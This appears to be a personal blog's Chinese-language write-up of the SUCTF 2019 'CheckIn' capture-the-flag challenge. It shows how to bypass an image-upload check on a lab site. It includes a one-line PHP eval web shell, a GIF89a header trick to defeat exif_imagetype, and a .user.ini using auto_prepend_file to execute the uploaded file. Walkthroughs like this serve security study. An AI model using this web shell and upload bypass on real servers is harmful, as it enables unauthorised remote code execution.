suyumen
目前主要在学习web相关

SUCTF-2019-CheckIn

2021-05-16 文件上传
Word count: 211 | Reading time: 1min

签到题耶,我还以为我能写,,原来我还是不会写[乌乌]。

打开站点就是文件上传

试了:

1
<script language="php">eval($_GET['mycode']);</script>

回显exif_imagetype:not image!

exif_imagetype()函数:
读取一个图像的第一个字节并检查其签名。

添加gif文件头GIF89a再次上传;

回显

1
2
3
Your dir uploads/d99081fe929b750e0557f85e6499103f
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(17) "nice.gif" }

上传成功了,蚁剑连一下,连不上哈哈。。

原来还要改.user.ini:

1
2
GIF89a? 
auto_prepend_file=1.gif

这样再连接。

auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件


Tips

1.上传.user.ini需要上传的目录里已有一个php文件


参考

https://www.jb51.net/article/55468.htm

https://www.cnblogs.com/gaonuoqi/p/12337572.html

Author: suyumen

Link: https://suyumen.github.io/2021/05/16/2021-05-16-[SUCTF%202019]CheckIn/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
SUCTF-2019-EasySQL
NextPost >
HFCTF-2021-Final-easyflask
CATALOG
  1. 1. Tips
    1. 1.1. 参考